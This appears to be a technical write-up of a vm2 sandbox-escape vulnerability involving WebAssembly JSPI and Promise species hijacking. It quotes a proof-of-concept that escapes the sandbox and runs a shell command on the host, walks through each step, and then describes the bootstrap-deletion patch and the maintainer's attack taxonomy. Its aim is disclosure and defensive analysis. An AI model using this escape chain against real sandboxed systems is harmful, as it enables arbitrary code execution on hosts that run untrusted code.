The bridge defends two classes of Promise. JSPI returns a third.
CVE-2026-47210 is what happens when a sandbox-visible Promise satisfies neither branch of vm2's two-branch defense.
vm2's lib/setup-sandbox.js defines localPromise, a sandbox-realm subclass of global.Promise. Every new Promise(...) allocation in the sandbox lands in localPromise, so its [[Prototype]] chain includes localPromise.prototype, which is where vm2 installs its .then and .catch overrides:
const globalPromise = global.Promise;
class localPromise extends globalPromise { /* ... */ }
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);
// ...
return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};
resetPromiseSpecies(this) is the lie. Before invoking the host's native then, the sandbox writes Promise.constructor = localPromise as an own data property on the receiver. V8's C++ SpeciesConstructor reads the lie, builds the derived Promise from localPromise, and the chain never leaves the bridge. CVE-2026-24118's writeup named this defense pattern: lie before the host read, restore the truth after, repeat for every species-using built-in V8 keeps shipping.
That is branch one. Sandbox-realm Promise, sandbox prototype, sandbox-side override applies.
Branch two is bridge proxy of host Promise. When a host function returns a real globalPromise instance, the bridge wraps it in a proxy whose apply trap fires on every p.then/.catch/.finally call and re-routes the callback. The callbacks themselves are wrapped on the way back through. Host references do not reach sandbox closures raw.
The fix commit for CVE-2026-47210 articulates Defense Invariant #12 explicitly:
No sandbox-visible object may have a host-realm prototype chain without bridge interposition. Every sandbox-visible Promise must either include globalPromise.prototype in its [[Prototype]] chain (so sandbox-side overrides apply) or be a bridge proxy of a host-realm Promise (so the bridge apply-trap applies).
docs/ATTACKS.md adds JSPI as a third shape. Sandbox-realm allocation, host-realm prototype, no proxy in between. The sandbox-side .then override is on localPromise.prototype. The JSPI Promise's prototype is host Promise.prototype. They are different objects. The override is never reached. The bridge's apply-trap interception is for proxies. The JSPI Promise is not a proxy. The trap is never invoked.
p.then, p.catch, p.finally: each of them walks the JSPI Promise's prototype chain across the realm boundary and lands on host-realm native methods. The bridge does not exist along that walk.
The exploit is a wasm module, a Suspending, and .finally()
vm2's own test fixture at test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js is the canonical PoC. The fixture script is sandbox-executed; everything in the vm.run(...) string runs inside the bridge that is supposed to stop this.
const b = Uint8Array.of(0,97,115,109,1,0,0,0, /* ... wasm bytes ... */);
WebAssembly.instantiate(b, {
m: { f: new WebAssembly.Suspending(
() => WebAssembly.compileStreaming(Promise.resolve(0))
)}
}).then(r => {
let p = WebAssembly.promising(r.instance.exports.run)();
class F {
constructor(x) {
this.s = 0; this.q = [];
x(
v => { /* userResolve */ },
e => {
let P = e.constructor.constructor('return process')();
P.mainModule.require('child_process').execSync('touch pwned');
}
);
}
}
Object.defineProperty(F, Symbol.species, { get(){ return F } });
Object.defineProperty(p, 'constructor', { configurable: true, get(){ return F } });
p.finally(() => {});
});
Walked in order:
WebAssembly.instantiate builds a wasm module whose single import slot accepts a Suspending function. The import is satisfied by new WebAssembly.Suspending(jsFn). The wrapped jsFn returns a Promise; when the wasm executes its suspend, the wasm frame pauses awaiting that Promise.
WebAssembly.promising(r.instance.exports.run) promotes the wasm export into a JSPI function. The returned wrapper, when called from JavaScript, returns a Promise. The Promise is allocated by V8's host-realm machinery. Its [[Prototype]] is host Promise.prototype. The bridge has no allocation site to wrap.
class F is a sandbox-defined class. Its constructor(x) calls x with two sandbox closures. The Promise spec's NewPromiseCapability(F) invokes new F(executor) where executor is V8's internal (resolve, reject) => { ... }. F's constructor takes that executor as x, then re-invokes it with two functions of its own choosing. V8 records those two functions as the new Promise's [[Resolve]] and [[Reject]]. The functions are raw sandbox closures.
Object.defineProperty(p, 'constructor', { get(){ return F }}) writes the species hook directly onto the raw JSPI Promise. No proxy interposes. The property is an own accessor on the object V8 will read.
p.finally(() => {}) invokes host Promise.prototype.finally. The spec defines Promise.prototype.finally as a species-constructing operation: it reads this.constructor, invokes SpeciesConstructor(this, Promise), builds a new Promise from the resolved constructor. V8's C++ reads p.constructor, gets F, calls NewPromiseCapability(F). F's executor stores the sandbox closures into V8's resolve and reject slots.
The JSPI Promise eventually rejects. WebAssembly.compileStreaming(Promise.resolve(0)) fails: the argument is not a Response, so V8 dispatches a host-realm TypeError. That TypeError is delivered to the species-derived Promise's [[Reject]] slot, which is F's sandbox closure, raw.
Inside the closure, e.constructor.constructor('return process')() evaluates. e.constructor is host TypeError. e.constructor.constructor is host Function. Function('return process') runs in the host realm because Function.[[Realm]] is host. process resolves. child_process.execSync('touch pwned') runs on the host filesystem.
The entire chain occurs inside one .finally(() => {}) call. The sandbox closure is in V8's reject slot before the rejection arrives. The bridge is not in the call graph.
The patch is delete. Twice.
lib/setup-sandbox.js adds, immediately after the existing WebAssembly.JSTag removal (which closed GHSA-9qj6-qjgg-37qq by the same shape of fix):
if (typeof WebAssembly !== 'undefined') {
if (typeof WebAssembly.promising !== 'undefined') {
localReflectDeleteProperty(WebAssembly, 'promising');
}
if (typeof WebAssembly.Suspending !== 'undefined') {
localReflectDeleteProperty(WebAssembly, 'Suspending');
}
}
The fix is to make the spec primitive unreachable from sandbox code. Without Suspending, a wasm module cannot satisfy a suspending-import slot, so JSPI cannot enter the sandbox via the wasm side. Without promising, a wasm export cannot be promoted into a JSPI function, so JSPI cannot enter via the JS side. The two deletions are belt-and-suspenders. Removing either kills the attack class on its own. Each is typeof-guarded so older Nodes, which don't expose the constructors, hit the same no-op path.
This is a different shape of fix from anything else in vm2's defense library. resetPromiseSpecies lies to V8 before each host Promise.then call. neutralizeArraySpeciesBatch lies to V8 before each host call that touches an Array, restores the truth in finally. Both defenses have a host call to bracket: the bridge sees the call site, installs the lie, runs the call, restores. The lie attaches at a bridge surface.
JSPI has no bridge surface. The Promise comes out of WebAssembly.promising allocated, with its prototype, before any bridge code runs. There is nothing to bracket. The only place vm2 can act is sandbox bootstrap, before sandbox code runs at all. That is what the patch does. lib/setup-sandbox.js is the bootstrap. The two delete calls remove the API from the sandbox global before sandbox code can name it.
The commit message names the strategy as it generalizes:
JSPI is the first known instance of a third class. Future spec extensions producing similarly-shaped objects must be checked against the same invariant and neutralised at sandbox bootstrap if needed.
The maintainer is documenting the next fix. Not its mechanism, its shape. Whenever V8 ships another spec primitive that produces a sandbox-visible object with a host-realm prototype, the fix is to add another bootstrap deletion. The catalog grows by one entry.
Defense Invariant #12. Attack Category 33. Compound Attack Pattern 25.
The patch commit modifies four files. Two of them are docs/ATTACKS.md and CHANGELOG.md. The numbering is the story.
vm2's ATTACKS.md is the maintainer's own taxonomy. Its top section lists thirteen Defense Invariants. The eleventh existed seven days after the patch that violated it. The twelfth exists because JSPI broke the prior dichotomy of sandbox-visible Promises. The thirteenth, added in the same release, makes the NodeVM builtin allowlist's implicit "no host-reentry builtin" rule explicit.
Below the invariants are thirty-five numbered Attack Categories. CVE-2026-47210 is Category 33. Category 31 is the Promise species hijack in localPromise's swallow tail (GHSA-76w7-j9cq-rx2j), patched five days before this one, also a Promise species shape, also a missing resetPromiseSpecies call at one site the rest of the file had. Category 32 is a set-trap inherited-receiver leak. Category 33 is JSPI. Category 34 is a NodeVM wildcard exposing underscored builtins. Category 35 is process-wide observability builtins as info-leak. Five new categories shipped between Category 30 in early May and Category 35 in mid-May. Each one names a structural property V8 or Node exposes that vm2's bridge does not cover by default. Each one came from one CVE.
Compound Attack Pattern 25 is the new entry under "Compound Attack Patterns." The pattern joins JSPI's cross-realm prototype with the species-reading path of Promise.prototype.finally and the host-Function realm-binding behavior. Three primitives, each documented elsewhere in V8's spec. The compound is what reaches process.
The README, in the project's permanent disclaimer, says:
JavaScript is an extraordinarily dynamic language... The sheer number of ways to traverse from one object to another in JavaScript makes building an airtight in-process sandbox extremely difficult.
We are honest about this reality: Despite our best efforts, researchers and security professionals continuously discover new ways to escape the vm2 sandbox.
The README is the prose version. ATTACKS.md is the same admission in numbered form. Thirteen invariants, thirty-five categories, twenty-five compound patterns, indexed and cross-referenced, maintained by the same person who wrote the README. vm2 is a Design Debt Driver at the language-spec layer, an unpatchable primitive whose substrate is JavaScript itself.
Every prior vm2 species defense had a host call to bracket the lie around. The JSPI fix has no host call to bracket. The patch makes the primitive not exist inside the sandbox.
The next spec extension that produces a sandbox-visible object with a host-realm prototype gets the same treatment. The maintainer wrote that down in the commit message. The next CVE is already named in its shape.
PoC: vm2's own test fixture at test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js. Patch: 6915fa4 in vm2 v3.11.4. Advisory: GHSA-6j2x-vhqr-qr7q.
vm2 patched JSPI by uninstalling it. The next spec primitive shaped like JSPI gets uninstalled too. The maintainer wrote that down.